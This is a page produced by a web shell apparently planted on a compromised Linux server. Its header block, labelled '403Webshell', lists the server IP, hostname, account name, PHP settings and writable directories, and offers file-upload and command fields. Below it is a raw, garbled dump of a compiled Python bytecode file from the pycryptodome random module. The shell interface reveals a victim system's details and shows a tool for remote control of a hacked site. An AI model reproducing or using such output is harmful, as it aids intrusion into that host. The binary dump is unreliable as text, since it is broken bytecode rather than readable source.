403Webshell
Server IP : 192.158.238.246  /  Your IP : 3.23.94.64
Web Server : LiteSpeed
System : Linux uniform.iwebfusion.net 4.18.0-553.27.1.lve.1.el8.x86_64 #1 SMP Wed Nov 20 15:58:00 UTC 2024 x86_64
User : jenniferflocom ( 1321)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python37/lib64/python3.7/site-packages/Crypto/Random/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python37/lib64/python3.7/site-packages/Crypto/Random/__pycache__/random.cpython-37.pyc
B

q~�^s�@s�dZdZdddddddgZd	d
lmZd	dlZejd	dkrRejd
d
krRd	dlTGdd�de�Z	e	�Z
e
jZe
jZe
j
Z
e
jZe
jZe
jZd	dlmZmZmZmZdS)zHA cryptographically strong version of Python's standard "random" module.z$Id$�StrongRandom�getrandbits�	randrange�randint�choice�shuffle�sample�)�RandomN��)�*c@sFeZdZddd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Zdd�Z	dS)rNcCsV|dkr|dkrd|_n:|dk	r0|dkr0||_n"|dkrJ|dk	rJ|j|_ntd��dS)Nz(Cannot specify both 'rng' and 'randfunc')�	_randfunc�read�
ValueError)�self�rngZrandfunc�r�G/opt/alt/python37/lib64/python3.7/site-packages/Crypto/Random/random.py�__init__$s
zStrongRandom.__init__cCs:|jdkrt��j|_d|>d}|t|�t|d���@S)z0Return a python long integer with k random bits.Nr�)r
r	�newr�
bytes_to_long�ceil_div)r�k�maskrrrr.s
zStrongRandom.getrandbitscGs�t|�dkr|\}}}nHt|�dkr2|\}}d}n.t|�dkrN|\}d}d}ntdt|�f��t|t�r~t|t�r~t|t�s�td��|dkr�td��t|||�}|dkr�d}|dkr�td|||f��|}x||kr�|�t|��}q�W|||S)	zkrandrange([start,] stop[, step]):
        Return a randomly-selected element from range(start, stop, step).�r
rrz.randrange expected at most 3 arguments, got %dz$randrange requires integer argumentsz(randrange step argument must not be zeroz%empty range for randrange(%r, %r, %r))�len�	TypeError�
isinstance�intrrr�size)r�args�start�stop�step�num_choices�rrrrr5s2



zStrongRandom.randrangecCsJt|t�rt|t�std��|�||d�}||kr@|ksFnt�|S)z0Return a random integer N such that a <= N <= b.z"randint requires integer argumentsr)rrrr�AssertionError)r�a�b�NrrrrWs
zStrongRandom.randintcCs&t|�dkrtd��||�t|��S)zrReturn a random element from a (non-empty) sequence.

        If the seqence is empty, raises IndexError.
        rzempty sequence)r�
IndexErrorr)r�seqrrrr_szStrongRandom.choicecCs:t|�}x,tt|��D]}|�|�t|���||<qWdS)zShuffle the sequence in place.N)�list�ranger�popr)r�x�items�irrrrhszStrongRandom.shufflecCspt|�}||krtd��g}i}xJt|�D]>}d}x|dksD||krP|�|�}q4W|�||�d||<q*W|S)zNReturn a k-length list of unique elements chosen from the population sequence.zsample larger than populationNr)rrr.r�append)rZ
populationrr%�retvalZselectedr2r&rrrrrszStrongRandom.sample)NN)
�__name__�
__module__�__qualname__rrrrrrrrrrrr#s

"	
)rr�
long_to_bytesr )�__doc__�__revision__�__all__�Cryptor	�sys�version_infoZCrypto.Util.py21compat�objectrZ_rrrrrrrZCrypto.Util.numberrrr8r rrrr�<module>s`

Youez - 2016 - github.com/yon3zu
LinuXploit